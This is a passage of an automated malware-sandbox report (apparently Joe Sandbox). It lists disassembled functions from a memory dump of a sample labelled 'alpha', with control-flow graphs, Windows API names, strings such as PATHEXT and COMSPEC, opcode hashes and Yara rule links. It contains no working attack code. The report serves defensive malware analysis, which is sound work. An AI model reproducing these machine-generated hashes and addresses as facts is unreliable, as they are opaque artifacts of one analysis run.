                                                                                        • Part of subcall function 00007FF78CF53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535C3
                                                                                        • Part of subcall function 00007FF78CF53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535D9
                                                                                        • Part of subcall function 00007FF78CF53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535ED
                                                                                        • Part of subcall function 00007FF78CF53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF53602
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$Mode_get_osfhandle$Heap$QueryValue$AddressAllocHandleProcProcess$CommandCriticalEnvironmentFreeInfoLineLockSectionSharedStrings$AcquireBufferCtrlDirectoryEnterFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenTitleTypeWindowsfreememmove
                                                                                      • String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
                                                                                      • API String ID: 1049357271-3021193919
                                                                                      • Opcode ID: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
                                                                                      • Instruction ID: 0108de2cbf5b91e3ed77f7cc08c261ab4d64db0635d98fb17a0c9e27e80e52a8
                                                                                      • Opcode Fuzzy Hash: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
                                                                                      • Instruction Fuzzy Hash: 2CC16623A08A8396FA04BB11E8111B9F7A1FF85B91FE59134EA0E47795DF3CE549C360
                                                                                      Function 00007FF78CF53C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 732 7ff78cf53c24-7ff78cf53c61 733 7ff78cf53c67-7ff78cf53c99 call 7ff78cf4af14 call 7ff78cf4ca40 732->733 734 7ff78cf5ec5a-7ff78cf5ec5f 732->734 743 7ff78cf5ec97-7ff78cf5eca1 call 7ff78cf5855c 733->743 744 7ff78cf53c9f-7ff78cf53cb2 call 7ff78cf4b900 733->744 734->733 736 7ff78cf5ec65-7ff78cf5ec6a 734->736 738 7ff78cf5412e-7ff78cf5415b call 7ff78cf58f80 736->738 744->743 749 7ff78cf53cb8-7ff78cf53cbc 744->749 750 7ff78cf53cbf-7ff78cf53cc7 749->750 750->750 751 7ff78cf53cc9-7ff78cf53ccd 750->751 752 7ff78cf53cd2-7ff78cf53cd8 751->752 753 7ff78cf53cda-7ff78cf53cdf 752->753 754 7ff78cf53ce5-7ff78cf53d62 GetCurrentDirectoryW towupper iswalpha 752->754 753->754 755 7ff78cf53faa-7ff78cf53fb3 753->755 756 7ff78cf53fb8 754->756 757 7ff78cf53d68-7ff78cf53d6c 754->757 755->752 759 7ff78cf53fc6-7ff78cf53fec GetLastError call 7ff78cf5855c call 7ff78cf5a5d6 756->759 757->756 758 7ff78cf53d72-7ff78cf53dcd towupper GetFullPathNameW 757->758 758->759 760 7ff78cf53dd3-7ff78cf53ddd 758->760 763 7ff78cf53ff1-7ff78cf54007 call 7ff78cf5855c _local_unwind 759->763 762 7ff78cf53de3-7ff78cf53dfb 760->762 760->763 765 7ff78cf540fe-7ff78cf54119 call 7ff78cf5855c _local_unwind 762->765 766 7ff78cf53e01-7ff78cf53e11 762->766 774 7ff78cf5400c-7ff78cf54022 GetLastError 763->774 775 7ff78cf5411a-7ff78cf5412c call 7ff78cf4ff70 call 7ff78cf5855c 765->775 766->765 769 7ff78cf53e17-7ff78cf53e28 766->769 773 7ff78cf53e2c-7ff78cf53e34 769->773 773->773 776 7ff78cf53e36-7ff78cf53e3f 773->776 777 7ff78cf54028-7ff78cf5402b 774->777 778 7ff78cf53e95-7ff78cf53e9c 774->778 775->738 780 7ff78cf53e42-7ff78cf53e55 776->780 777->778 781 7ff78cf54031-7ff78cf54047 call 7ff78cf5855c _local_unwind 777->781 782 7ff78cf53e9e-7ff78cf53ec2 call 7ff78cf52978 778->782 783 7ff78cf53ecf-7ff78cf53ed3 778->783 788 7ff78cf53e57-7ff78cf53e60 780->788 789 7ff78cf53e66-7ff78cf53e8f GetFileAttributesW 780->789 799 7ff78cf5404c-7ff78cf54062 call 7ff78cf5855c _local_unwind 781->799 791 7ff78cf53ec7-7ff78cf53ec9 782->791 786 7ff78cf53f08-7ff78cf53f0b 783->786 787 7ff78cf53ed5-7ff78cf53ef7 GetFileAttributesW 783->787 795 7ff78cf53f0d-7ff78cf53f11 786->795 796 7ff78cf53f1e-7ff78cf53f40 SetCurrentDirectoryW 786->796 793 7ff78cf53efd-7ff78cf53f02 787->793 794 7ff78cf54067-7ff78cf54098 GetLastError call 7ff78cf5855c _local_unwind 787->794 788->789 797 7ff78cf53f9d-7ff78cf53fa5 788->797 789->774 789->778 791->783 791->799 793->786 802 7ff78cf5409d-7ff78cf540b3 call 7ff78cf5855c _local_unwind 793->802 794->802 803 7ff78cf53f13-7ff78cf53f1c 795->803 804 7ff78cf53f46-7ff78cf53f69 call 7ff78cf5498c 795->804 796->804 805 7ff78cf540b8-7ff78cf540de GetLastError call 7ff78cf5855c _local_unwind 796->805 797->780 799->794 802->805 803->796 803->804 815 7ff78cf540e3-7ff78cf540f9 call 7ff78cf5855c _local_unwind 804->815 816 7ff78cf53f6f-7ff78cf53f98 call 7ff78cf5417c 804->816 805->815 815->765 816->775
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
                                                                                      • String ID: :
                                                                                      • API String ID: 1809961153-336475711
                                                                                      • Opcode ID: db7a8accf24e76443df151eec26ec66c8909a5ebe3ef3b4491d16ca320e82ff4
                                                                                      • Instruction ID: 623173748885f61565a2389aa35ef6517fd41fee1119237887559f4c34aa59ee
                                                                                      • Opcode Fuzzy Hash: db7a8accf24e76443df151eec26ec66c8909a5ebe3ef3b4491d16ca320e82ff4
                                                                                      • Instruction Fuzzy Hash: 47D15E2360DB8592FA20EB15E4452B9F7A1FB85750FA48135DB4E837A9DF3CE648CB10
                                                                                      Function 00007FF78CF52394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 914 7ff78cf52394-7ff78cf52416 memset call 7ff78cf4ca40 917 7ff78cf5241c-7ff78cf52453 GetModuleFileNameW call 7ff78cf5081c 914->917 918 7ff78cf5e0d2-7ff78cf5e0da call 7ff78cf54c1c 914->918 923 7ff78cf5e0db-7ff78cf5e0ee call 7ff78cf5498c 917->923 924 7ff78cf52459-7ff78cf52468 call 7ff78cf5081c 917->924 918->923 930 7ff78cf5e0f4-7ff78cf5e107 call 7ff78cf5498c 923->930 929 7ff78cf5246e-7ff78cf5247d call 7ff78cf5081c 924->929 924->930 935 7ff78cf52483-7ff78cf52492 call 7ff78cf5081c 929->935 936 7ff78cf52516-7ff78cf52529 call 7ff78cf5498c 929->936 939 7ff78cf5e10d-7ff78cf5e123 930->939 935->939 946 7ff78cf52498-7ff78cf524a7 call 7ff78cf5081c 935->946 936->935 942 7ff78cf5e125-7ff78cf5e139 wcschr 939->942 943 7ff78cf5e13f-7ff78cf5e17a _wcsupr 939->943 942->943 947 7ff78cf5e27c 942->947 944 7ff78cf5e17c-7ff78cf5e17f 943->944 945 7ff78cf5e181-7ff78cf5e199 wcsrchr 943->945 948 7ff78cf5e19c 944->948 945->948 955 7ff78cf524ad-7ff78cf524c5 call 7ff78cf53c24 946->955 956 7ff78cf5e2a1-7ff78cf5e2c3 _wcsicmp 946->956 950 7ff78cf5e283-7ff78cf5e29b call 7ff78cf5498c 947->950 951 7ff78cf5e1a0-7ff78cf5e1a7 948->951 950->956 951->951 954 7ff78cf5e1a9-7ff78cf5e1bb 951->954 958 7ff78cf5e264-7ff78cf5e277 call 7ff78cf51300 954->958 959 7ff78cf5e1c1-7ff78cf5e1e6 954->959 964 7ff78cf524ca-7ff78cf524db 955->964 958->947 962 7ff78cf5e1e8-7ff78cf5e1f1 959->962 963 7ff78cf5e21a 959->963 965 7ff78cf5e1f3-7ff78cf5e1f6 962->965 966 7ff78cf5e201-7ff78cf5e210 962->966 969 7ff78cf5e21d-7ff78cf5e21f 963->969 967 7ff78cf524dd-7ff78cf524e4 ??_V@YAXPEAX@Z 964->967 968 7ff78cf524e9-7ff78cf52514 call 7ff78cf58f80 964->968 965->966 970 7ff78cf5e1f8-7ff78cf5e1ff 965->970 966->963 971 7ff78cf5e212-7ff78cf5e218 966->971 967->968 969->950 973 7ff78cf5e221-7ff78cf5e228 969->973 970->965 970->966 971->969 975 7ff78cf5e22a-7ff78cf5e231 973->975 976 7ff78cf5e254-7ff78cf5e262 973->976 977 7ff78cf5e234-7ff78cf5e237 975->977 976->947 977->976 978 7ff78cf5e239-7ff78cf5e242 977->978 978->976 979 7ff78cf5e244-7ff78cf5e252 978->979 979->976 979->977
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$EnvironmentFileModuleNameVariable_wcsuprwcschr
                                                                                      • String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
                                                                                      • API String ID: 2622545777-4197029667
                                                                                      • Opcode ID: bd59c29d01747683900c9969ab54c99ddb5983c61e93a73bd4a825f93bf20993
                                                                                      • Instruction ID: c80ac01a833e20950c830774fe39add341617061421a5d8112d34928cfe246f6
                                                                                      • Opcode Fuzzy Hash: bd59c29d01747683900c9969ab54c99ddb5983c61e93a73bd4a825f93bf20993
                                                                                      • Instruction Fuzzy Hash: A4917F63B09B8286FE24AB50D8552F8A7A0FF48B84FE54135DB0E87695DF3CE605C720
                                                                                      Function 00007FF78CF50580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleMode_get_osfhandle
                                                                                      • String ID: CMD.EXE
                                                                                      • API String ID: 1606018815-3025314500
                                                                                      • Opcode ID: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
                                                                                      • Instruction ID: e7c227dd3274ac0cc14c34fd82685bc86fecd1104ec811e10d15280bdfe79327
                                                                                      • Opcode Fuzzy Hash: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
                                                                                      • Instruction Fuzzy Hash: 7A41D332A19A42DBF7146B14E9551B8FBA0FF89751FE8C279D60E433A0DF3CA518C621
                                                                                      Function 00007FF78CF4C620 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 992 7ff78cf4c620-7ff78cf4c66f GetConsoleTitleW 993 7ff78cf4c675-7ff78cf4c687 call 7ff78cf4af14 992->993 994 7ff78cf5c5f2 992->994 999 7ff78cf4c68e-7ff78cf4c69d call 7ff78cf4ca40 993->999 1000 7ff78cf4c689 993->1000 996 7ff78cf5c5fc-7ff78cf5c60c GetLastError 994->996 998 7ff78cf5c5e3 call 7ff78cf43278 996->998 1004 7ff78cf5c5e8-7ff78cf5c5ed call 7ff78cf5855c 998->1004 999->1004 1005 7ff78cf4c6a3-7ff78cf4c6ac 999->1005 1000->999 1004->994 1007 7ff78cf4c954-7ff78cf4c95e call 7ff78cf5291c 1005->1007 1008 7ff78cf4c6b2-7ff78cf4c6c5 call 7ff78cf4b9c0 1005->1008 1013 7ff78cf5c5de-7ff78cf5c5e0 1007->1013 1014 7ff78cf4c964-7ff78cf4c96b call 7ff78cf489c0 1007->1014 1015 7ff78cf4c6cb-7ff78cf4c6ce 1008->1015 1016 7ff78cf4c9b5-7ff78cf4c9b8 call 7ff78cf55c6c 1008->1016 1013->998 1020 7ff78cf4c970-7ff78cf4c972 1014->1020 1015->1004 1018 7ff78cf4c6d4-7ff78cf4c6e9 1015->1018 1023 7ff78cf4c9bd-7ff78cf4c9c9 call 7ff78cf5855c 1016->1023 1021 7ff78cf5c616-7ff78cf5c620 call 7ff78cf5855c 1018->1021 1022 7ff78cf4c6ef-7ff78cf4c6fa 1018->1022 1020->996 1024 7ff78cf4c978-7ff78cf4c99a towupper 1020->1024 1025 7ff78cf5c627 1021->1025 1022->1025 1026 7ff78cf4c700-7ff78cf4c713 1022->1026 1039 7ff78cf4c9d0-7ff78cf4c9d7 1023->1039 1029 7ff78cf4c9a0-7ff78cf4c9a9 1024->1029 1031 7ff78cf5c631 1025->1031 1030 7ff78cf4c719-7ff78cf4c72c 1026->1030 1026->1031 1029->1029 1034 7ff78cf4c9ab-7ff78cf4c9af 1029->1034 1035 7ff78cf5c63b 1030->1035 1036 7ff78cf4c732-7ff78cf4c747 call 7ff78cf4d3f0 1030->1036 1031->1035 1034->1016 1037 7ff78cf5c60e-7ff78cf5c611 call 7ff78cf6ec14 1034->1037 1040 7ff78cf5c645 1035->1040 1046 7ff78cf4c8ac-7ff78cf4c8af 1036->1046 1047 7ff78cf4c74d-7ff78cf4c750 1036->1047 1037->1021 1043 7ff78cf4c9dd-7ff78cf5c6da SetConsoleTitleW 1039->1043 1044 7ff78cf4c872-7ff78cf4c8aa call 7ff78cf5855c call 7ff78cf58f80 1039->1044 1050 7ff78cf5c64e-7ff78cf5c651 1040->1050 1043->1044 1046->1047 1049 7ff78cf4c8b5-7ff78cf4c8d3 wcsncmp 1046->1049 1051 7ff78cf4c76a-7ff78cf4c76d 1047->1051 1052 7ff78cf4c752-7ff78cf4c764 call 7ff78cf4bd38 1047->1052 1049->1051 1057 7ff78cf4c8d9 1049->1057 1058 7ff78cf4c80d-7ff78cf4c811 1050->1058 1059 7ff78cf5c657-7ff78cf5c65b 1050->1059 1055 7ff78cf4c773-7ff78cf4c77a 1051->1055 1056 7ff78cf4c840-7ff78cf4c84b call 7ff78cf4cb40 1051->1056 1052->1004 1052->1051 1063 7ff78cf4c780-7ff78cf4c784 1055->1063 1077 7ff78cf4c84d-7ff78cf4c855 call 7ff78cf4cad4 1056->1077 1078 7ff78cf4c856-7ff78cf4c86c 1056->1078 1057->1047 1065 7ff78cf4c817-7ff78cf4c81b 1058->1065 1066 7ff78cf4c9e2-7ff78cf4c9e7 1058->1066 1059->1058 1070 7ff78cf4c83d 1063->1070 1071 7ff78cf4c78a-7ff78cf4c7a4 wcschr 1063->1071 1067 7ff78cf4ca1b-7ff78cf4ca1f 1065->1067 1068 7ff78cf4c821 1065->1068 1066->1065 1069 7ff78cf4c9ed-7ff78cf4c9f7 call 7ff78cf5291c 1066->1069 1067->1068 1079 7ff78cf4ca25-7ff78cf5c6b3 call 7ff78cf43278 1067->1079 1073 7ff78cf4c824-7ff78cf4c82d 1068->1073 1086 7ff78cf4c9fd-7ff78cf4ca00 1069->1086 1087 7ff78cf5c684-7ff78cf5c698 call 7ff78cf43278 1069->1087 1070->1056 1075 7ff78cf4c8de-7ff78cf4c8f7 1071->1075 1076 7ff78cf4c7aa-7ff78cf4c7ad 1071->1076 1073->1073 1080 7ff78cf4c82f-7ff78cf4c837 1073->1080 1082 7ff78cf4c900-7ff78cf4c908 1075->1082 1083 7ff78cf4c7b0-7ff78cf4c7b8 1076->1083 1077->1078 1078->1039 1078->1044 1079->1004 1080->1063 1080->1070 1082->1082 1088 7ff78cf4c90a-7ff78cf4c915 1082->1088 1083->1083 1089 7ff78cf4c7ba-7ff78cf4c7c7 1083->1089 1086->1065 1093 7ff78cf4ca06-7ff78cf4ca10 call 7ff78cf489c0 1086->1093 1087->1004 1094 7ff78cf4c917 1088->1094 1095 7ff78cf4c93a-7ff78cf4c944 1088->1095 1089->1050 1096 7ff78cf4c7cd-7ff78cf4c7db 1089->1096 1093->1065 1111 7ff78cf4ca16-7ff78cf5c67f GetLastError call 7ff78cf43278 1093->1111 1100 7ff78cf4c920-7ff78cf4c928 1094->1100 1103 7ff78cf4ca2a-7ff78cf4ca2f call 7ff78cf59158 1095->1103 1104 7ff78cf4c94a 1095->1104 1101 7ff78cf4c7e0-7ff78cf4c7e7 1096->1101 1106 7ff78cf4c92a-7ff78cf4c92f 1100->1106 1107 7ff78cf4c932-7ff78cf4c938 1100->1107 1108 7ff78cf4c7e9-7ff78cf4c7f1 1101->1108 1109 7ff78cf4c800-7ff78cf4c803 1101->1109 1103->1013 1104->1007 1106->1107 1107->1095 1107->1100 1108->1109 1112 7ff78cf4c7f3-7ff78cf4c7fe 1108->1112 1109->1040 1113 7ff78cf4c809 1109->1113 1111->1004 1112->1101 1112->1109 1113->1058
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleTitlewcschr
                                                                                      • String ID: /$:
                                                                                      • API String ID: 2364928044-4222935259
                                                                                      • Opcode ID: 989dfed76e83e1e5127155f56046364be98515c6956e9669bb0cf7002a0e13e4
                                                                                      • Instruction ID: 822d3141db4d87965a01b035349271acd8870183dda649b4fc5ac8dcfefd36de
                                                                                      • Opcode Fuzzy Hash: 989dfed76e83e1e5127155f56046364be98515c6956e9669bb0cf7002a0e13e4
                                                                                      • Instruction Fuzzy Hash: 66C1E363E0864292FB24BB15D404BB9E6A1FF44B90FE5A131DA1E4B2D5DF3CE544C320
                                                                                      Function 00007FF78CF58D80 Relevance: 9.1, APIs: 6, Instructions: 95sleepCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1171 7ff78cf58d80-7ff78cf58da2 1172 7ff78cf58da4-7ff78cf58daf 1171->1172 1173 7ff78cf58dcc 1172->1173 1174 7ff78cf58db1-7ff78cf58db4 1172->1174 1177 7ff78cf58dd1-7ff78cf58dd9 1173->1177 1175 7ff78cf58db6-7ff78cf58dbd 1174->1175 1176 7ff78cf58dbf-7ff78cf58dca Sleep 1174->1176 1175->1177 1176->1172 1178 7ff78cf58ddb-7ff78cf58de5 _amsg_exit 1177->1178 1179 7ff78cf58de7-7ff78cf58def 1177->1179 1180 7ff78cf58e4c-7ff78cf58e54 1178->1180 1181 7ff78cf58e46 1179->1181 1182 7ff78cf58df1-7ff78cf58e0a 1179->1182 1183 7ff78cf58e73-7ff78cf58e75 1180->1183 1184 7ff78cf58e56-7ff78cf58e69 _initterm 1180->1184 1181->1180 1185 7ff78cf58e0e-7ff78cf58e11 1182->1185 1188 7ff78cf58e77-7ff78cf58e79 1183->1188 1189 7ff78cf58e80-7ff78cf58e88 1183->1189 1184->1183 1186 7ff78cf58e38-7ff78cf58e3a 1185->1186 1187 7ff78cf58e13-7ff78cf58e15 1185->1187 1186->1180 1190 7ff78cf58e3c-7ff78cf58e41 1186->1190 1187->1190 1191 7ff78cf58e17-7ff78cf58e1b 1187->1191 1188->1189 1192 7ff78cf58e8a-7ff78cf58e98 call 7ff78cf594f0 1189->1192 1193 7ff78cf58eb4-7ff78cf58ec8 call 7ff78cf537d8 1189->1193 1197 7ff78cf58f28-7ff78cf58f3d 1190->1197 1194 7ff78cf58e2d-7ff78cf58e36 1191->1194 1195 7ff78cf58e1d-7ff78cf58e29 1191->1195 1192->1193 1201 7ff78cf58e9a-7ff78cf58eaa 1192->1201 1200 7ff78cf58ecd-7ff78cf58eda 1193->1200 1194->1185 1195->1194 1203 7ff78cf58edc-7ff78cf58ede exit 1200->1203 1204 7ff78cf58ee4-7ff78cf58eeb 1200->1204 1201->1193 1203->1204 1205 7ff78cf58eed-7ff78cf58ef3 _cexit 1204->1205 1206 7ff78cf58ef9 1204->1206 1205->1206 1206->1197
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
                                                                                      • String ID:
                                                                                      • API String ID: 4291973834-0
                                                                                      • Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
                                                                                      • Instruction ID: 6b75529e4fd3787f0cfe50af97a6941356991d29cc01fea07a58f9c926c99c61
                                                                                      • Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
                                                                                      • Instruction Fuzzy Hash: F041E733A4868387FA50BB54E8422B5A2A0BF44344FF44435EB2D97AA0DF7DEA44C760
                                                                                      Function 00007FF78CF489C0 Relevance: 9.1, APIs: 6, Instructions: 85COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1207 7ff78cf489c0-7ff78cf48a3d memset call 7ff78cf4ca40 1210 7ff78cf48ace-7ff78cf48adf 1207->1210 1211 7ff78cf48a43-7ff78cf48a71 GetDriveTypeW 1207->1211 1214 7ff78cf48aed 1210->1214 1215 7ff78cf48ae1-7ff78cf48ae8 ??_V@YAXPEAX@Z 1210->1215 1212 7ff78cf48a77-7ff78cf48a7a 1211->1212 1213 7ff78cf5b411-7ff78cf5b422 1211->1213 1212->1210 1218 7ff78cf48a7c-7ff78cf48a7f 1212->1218 1216 7ff78cf5b424-7ff78cf5b42b ??_V@YAXPEAX@Z 1213->1216 1217 7ff78cf5b430-7ff78cf5b435 1213->1217 1219 7ff78cf48aef-7ff78cf48b16 call 7ff78cf58f80 1214->1219 1215->1214 1216->1217 1217->1219 1218->1210 1220 7ff78cf48a81-7ff78cf48ac8 GetVolumeInformationW 1218->1220 1220->1210 1223 7ff78cf5b3fc-7ff78cf5b40b GetLastError 1220->1223 1223->1210 1223->1213
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
